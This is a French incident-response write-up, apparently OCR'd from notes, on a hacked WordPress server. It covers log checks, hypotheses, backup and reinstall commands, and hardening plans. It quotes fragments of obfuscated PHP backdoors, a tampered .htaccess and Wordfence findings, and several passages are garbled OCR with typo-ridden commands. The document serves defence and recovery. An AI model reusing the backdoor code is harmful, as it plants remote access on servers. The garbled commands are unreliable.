Audit de notre serveur web wordpress

1. Comprendre ce qu'il s'est passé

Analyse de logs

- vérifications de logs Apache et SSH

Vérification de l'ensemble des serveurs OVH

- Analyse des fichiers modifiés
- Monitoring ovh : augmentation importante du trafic entrant et sortant depuis quelques jours
- Vérifier si le serveur ns2 fonctionne encore.
- Savoir comment se comporte le serveur (données rajoutées...)

Vérifier le trafic entrant et sortant :

qu'est-ce qu'on peut installer pour monitorer du trafic ?

le stockage (taille du stockage, nom du fichier daté du 09/05/22)

vérifier l'activité des machines.

éplucher les stats et les logs de webmin

 se connecter sur ns2 (voir doc multisite) : faire *netstat -natp* pour retrouver l'historique des connections ssh sur le serveur
 Plusieurs connexions inconnues en ssh sur notre serveur (provenant de Chine, Etats-Unis)
 => Confirmation d'intrusion Hypothèses

- Le serveur est utilisé pour héberger des vidéos/images illégales (ex : pédopornographie) = prévenir l'ANSSI
- Le serveur est utilisé comme un bot pour faire des attaques DDOS
- Le serveur est utilisé comme hébergement : site, minage...

Interne : très technique, qu'est-ce qui s'est passé, qu'est-ce qu'on a fait, qu'est-ce qu'on rajoute ?

Externe : expliquer, rassurer, peu technique

2 - Rétablir les services

- Récupérer un accès aux portfolios
- Réinstall WP
 - Plugins /thèmes

Améliorations

De suite :

- Plugins sécurité : Wordfence/iThemes Security
- Filtrage
- Mises à jour
- Purge

A terme :

- Monitoring
- Backups
- Backups : Updraft Plus
- Suivre des newsletters sécurité
- Dockerisation
- Communication

3 - Sécuriser

- auditer le système
- Réparer ou reconstruire ?
- Tester
- Supervision
- Backup
- -

Ce que l'on voit selon les cas : Perte d'accès au panel administrateur

😳 – 🗗 🛛

∃ ☆ ⊗ ŵ ≡

Latvia 2022 06 Manors of - Schu × + ← → C O A https://tianoaf.btsinfo.nc/admin Stamps Europe Latvia 2022 (06) Manors of Latvia - Schwartzenhof - Hagenshof Latvia 2022 (106) Manors of Latvia - Schwartzenhof - Hagenshof -Latvia 2022 06 Manors of - Schwartzenhof Hagenshof Oakland Mall Latvia 2022 06 Manors of - Schwartzenhof Hagenshof Oakland Mall Slatvia 2022 (06) Manors of Latvia - Schwartzenhof Hagenshof - Schwartzenhof - Hagenshof - Stamps Europe Latvia, Latvia, Schwartzenhof Hagenshof - Stamps Europe Latvia, Schwartzenhof - Hagenshof - Stamps Europe Latvia - Schwartzenhof, Manors (06), Hagenshof - Stamps Europe Latvia - Schwartzenhof - Hagenshof - Stamps - Europe Latvia, Schwartzenhof - Hagenshof - Stamps - Europe Latvia, Schwartzenhof, Latvia - Schwartzenhof, Latvia - Schwartzenhof - Hagenshof - Stamps - Europe Latvia - Schwartzenhof, Stamps - Europe Latvia - Schwartzenhof, Latvia - Schwartzenhof, Latvia - Schwartzenhof - Hagenshof - Stamps - Europe Latvia - Schwartzenhof, Stamps - Europe - Latvia, Schwartzenhof, Stamps - Europe - Latvia, Schwartzenhof, Stamps - Europe - Latvia - Schwartzenhof, Stamps - Europe - Latvia, Schwartzenhof, Stamps - Europe - Latvia, Schwartzenhof, Stamps - Europe - Latvia - Schwartzenhof, Stamps - Europe - Latvia -Latvia 2022 06 Manors of - Schwartzenhof SEAL limited product Hagenshof Oakland Mall

Latvia 2022 (06) Manors of Latvia - Schwartzenhof - Hagenshof -

\$18

Latvia 2022 (06) Manors of Latvia - Schwartzenhof - Hagenshof -

Item specifics

Item specifics Seller Note: "Mail (Note: Seller Note: "Mail (Note: Seller Note: Country Region of Manufacture Latvia Country Region of Manufacture Centification: Uncertified Quality: Mult Never Hungesi MNH Grade: Superb Place of Origin: Latvia 2

Latvia 2022 (06) Manors of Latvia - Schwartzenhof - Hagenshof -

📝 /var/www/tianoaf/wordpress/.htaccess - debian@ns2.btsinfo.nc - Éditeur - WinSCP 🗟 🕞 🖻 🐇 🋍 🗶 🗿 🎔 🤁 🛗 🏀 🔅 🛤 🖗 Encodage 🗸 🗋 Couleur de fond 🗸 🕸 🥝 kFilesMatch ".(py|exe|php)\$"> Order allow.deny
Deny from all
</filesMatch
</FilesMatch *^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-login.php|wp-theme.php|wp-scripts.php|wp-editor.php)\$"> <FilesMatch "^(about.php]radio.php]i Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteEnule ^index\.php\$ - [L] RewriteCond %(REQUEST_FILENAME} !-f RewriteCond %(REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>

ø × /var/www/tianosf/wordpress/about.php - debian@nz2.btsinfo.nc - Éditeur - WinSCP 🗠 🎅 ⊨ 🚓 🗈 🗶 菌 🎔 😋 🛗 ዲ 🎒 🥁 Encodage + 🗌 Couleur de fond + 🛞 🥥 (kphp (#st_time_limit(0); @error_reporting(0); \$cAT3Wymuil/CRgr = "de2085a09be504f26f385c3902466d63"; if (isset(\$_REQUEST['d_time'])){ die(\$cAT3Wymuil/CRgr); }function NQLudh(\$kAad){ \$kAad=gzinflate(base64_decode(\$kAad)); for(\$i=0;\$i<strlen(\$k) Doc Projet Multisite :

https://docs.google.com/document/d/1oBJN4NmnGK3Ji4UMikOuB6jkjZijOSMkZye7IEWs1C 8/edit#heading=h.8qbfmmqmy4i0

Doc Vue d'ensemble :

https://docs.google.com/presentation/d/1apGR0QfTM73Qziz-83sQtUrPSFDZ6UcU/edit#slid e=id.p1

Différentes pistes :

https://www.malcare.com/blog/japanese-keyword-hack/

Actions :

- install fail2ban
- Logs bandwith on
- Intervention 15 mai 2022
 - Backuper fichiers du site et base
 - Fichiers
 - sudo zip -r /var/www/nicolass.zip /var/www/nicolass
 Les données dans le dossier à votre nom sont zippée dans un fichier zip dans /var/www
 - Base de données
 - Aller sur WebMIN



This form allows you to backup the database loucasr_db as a file of	QL statments. To restore a backup, you can use	the Execute SOL form to run the commands in the file. The backup can be performed immediat	
automatically on a selected schedule.			
 Backup destination 			
Backup to file	Download in browser Roth on conver		
Tables to backup	All tables Selected tables	ĘĽ	
	wp_commentmeta wp_commentmeta wp_lotinks wp_postmeta wp_posts wp_topsts		
Other backup options			
- - Effacer to - su - - - aller dans wp-co ỗ plugins - debian@	us les fichiers exista do rm -r /var/www/lo ntent et supprimer ns2.btsinfo.nc - WinSCP	nts sauf wp-content ucasr/wordpress/wp-admin	
Local Marquer Fich	iers Commandes Session	Options Distant Aide	
🗰 📰 🖨 Synchro	iser 🧊 🥜 💽 🍈	🏠 File d'attente 👻 Réglages de transfert Défaut	- 2
📃 debian@ns2.btsir	fo.nc X 📫 Nouvelle sessi	on	
i mes accuments			
Envoyer 👻 📝	diter 👻 🔀 🎼 Proprié	tés 🤎 💽 🕂 📄 💟 📲 Télécharger 👻 📝 Editer	- 🗙 🗹 🔓 Pi
C:\Users\louca\Docun	ents\	/var/www/loucasr/wordpress/w	p-content/plugin
Nom	Préférences		? ×
 Aiseesoft Studio Audacity Bandicam Call of Duty Moder GitHub League of Legends My Cheat Tables Projets VideoPad Rockstar Games TFDi Design Trackmania bandicam 2022-04 MumbleAutomatic T5_Eco3_Loucas_RI téléchargement (1) téléchargement (2) téléchargement (3) téléchargement, jp 	Environnement Interface Fenêtre Commander Explorateur Langues Panneaux Couleurs du fic Distant Local Éditeurs Éditeurs Éditeurs Solidité Ce. Solidité Réseau jpg Sécurité Rapports Intégration Applications Commandes Enregistrement Micec à jour X	Commun Afficher les fichiers cachés Cue répertoire par défaut est le répertoire 'home' de l'utilis Mémoriser l'état des panneaux lors d'un changement de s Sélectionner le nom complet lors d'un renommage Sélection de la ligne entière Utiliser le tri numérique par ordre naturel Afficher la taille des fichiers en : Kilo octe Recherche incrémentielle : Début du nom seu Double clic Opération à effectuer lors d'un double clic Confirmer la copie lors d'un double clic Police utilisée dans les panneaux Police personnalisée Segoe UI, 9 pt Choix de la police	ateur ;ession ets v Jement v
		OK Annuler	Aide

- Réinstaller les fichiers

- Télécharger WP même version
- On va télécharger et dézipper le fichier depuis /var/www/mondossier
- sudo curl -O https://wordpress.org/wordpress-5.9.3.tar.gz
- sudo tar -xvf wordpress-5.9.3.tar.gz
- sudo rm wordpress-5.9.3.tar.gz
- sudo chown -R www-data:www-data /var/www/eddyp/wordpress
- sudo find /var/www/eddyp/wordpress/ -type d -exec chmod 750 {} \;
- sudo find /var/www/eddyp/wordpress/ -type f -exec chmod 640 {} \;
- Régler le problème de Forbidden access
 - afficher les fichiers cachés dans WinSCP
 - effacer les fichiers .htaccess et le remplacer par le code originel

Renommer le fichier .htaccess

- sudo mv /var/www/nicolass/.htaccess /var/www/nicolasssudo /.htaccess.sio
- Le modifier pour le remettre d'origine :
- sudo nano .htaccess.sio

Puis coller :

cd wor# BEGIN WordPress

RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php\$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L]

END WordPress

- Puis ajouter dans /etc/apache2/sites-available/nicolass.conf
- Et aussi dans /etc/apache2/sites-available/nicolass-le-ssl.conf

AccessFileName .htaccess.sio



Un exemple de fichier .htaccess WordPress

Par défaut, le fichier .htaccess de votre site WordPress ne contient qu'une seule règle qui contrôle le fonctionnement des liens permanents de votre site. Voici un exemple de ce à quoi cela devrait ressembler :

```
# BEGIN WordPress
3 <IfModule mod_rewrite.c>
4 RewriteEngine On
5 RewriteBase /
6 RewriteRule ^index\.php$ - [L]
7 RewriteCond %{REQUEST_FILENAME} !-f
8 RewriteCond %{REQUEST_FILENAME} !-d
9 RewriteRule . /index.php [L]
10 </IfModule>
11
12 # END WordPress
```

- Un exemple de fichier .htaccess WordPress par défaut

- Vérifier le fonctionnement
- Post

- Pour renforcer la sécurité, : itheme security, sucuri security et wordfence
- Mettre en place un système de backup
- Mettre en place un système de monitoring
- Mettre en place version control et staging

Sauvegarde de toutes les bases de données :

sudo mysqldump -u root -p --all-databases > alldatabases.sql

Restauration de la sauvegarde :

- mysql -u root -p < all_databases.sql

Sauvegarde de www contenant tous les sites :

- cd /var/www
- sudo tar cvf <u>www.tar</u> www/

Filename: arnaudt/wordpress/wp-content/themes/shapely/index.php File Type: Not a core, theme, or plugin file from wordpress.org.

Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: chr(ord(\$ewRya0[\$i])-1); } return \$ewRya0; }eval(IcYsA("7Vr5etpIEn8AP0VHYSPYwUhgfAMTG9vYuXzgkzDLJ6QGFHSNjmCcybz6VnVLSAiBnWS+/ WuTOEiqs6t/dbSwPiB53fOon8/1ro4vb47b15/FsW4Y4h+FwjfyVXF7WmA6efpI1Xxf8ehWtadR...

The issue type is: Backdoor:PHP/nbmj.3900 Description: A backdoor known as nbmj

Filename: nicolass/wordpress/wp-content/plugins/waspthemes-yellow-pencil/base.php File Type: Not a core, theme, or plugin file from wordpress.org.

Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php if (file_exists(dirname(__FILE__). '/class.plugin-modules.php')) include_once(dirname(__FILE__). '/class.plugin-modules.php'); ?><?

The issue type is: Suspicious:PHP/checkandincludeprepend.5948 Description: Suspicious code often found infecting files

Filename: nicolass/wordpress/wp-content/plugins/waspthemes-yellow-pencil/editor.php File Type: Not a core, theme, or plugin file from wordpress.org.

Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: <?php if (file_exists(dirname(__FILE__). '/class.plugin-modules.php')) include_once(dirname(__FILE__). '/class.plugin-modules.php'); ?><?

The issue type is: Suspicious:PHP/checkandincludeprepend.5948 Description: Suspicious code often found infecting files Filename: arnaudt/wordpress/wp-content/themes/shapely/new-index.php

File Type: Not a core, theme, or plugin file from wordpress.org.

Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: chr(ord(\$ewRya0[\$i])-1); } return \$ewRya0; }eval(lcYsA("7Vr5etpIEn8AP0VHYSPYwUhgfAMTG9vYuXzgkzDLJ6QGFHSNjmCcybz6VnVLSAiBnWS+/ WuT0Eiqs6t/dbSwPiB53f0on8/1ro4vb47b15/FsW4Y4h+FwjfyVXF7WmA6efpI1Xxf8ehWtadR...

The issue type is: Backdoor:PHP/nbmj.3900 Description: A backdoor known as nbmj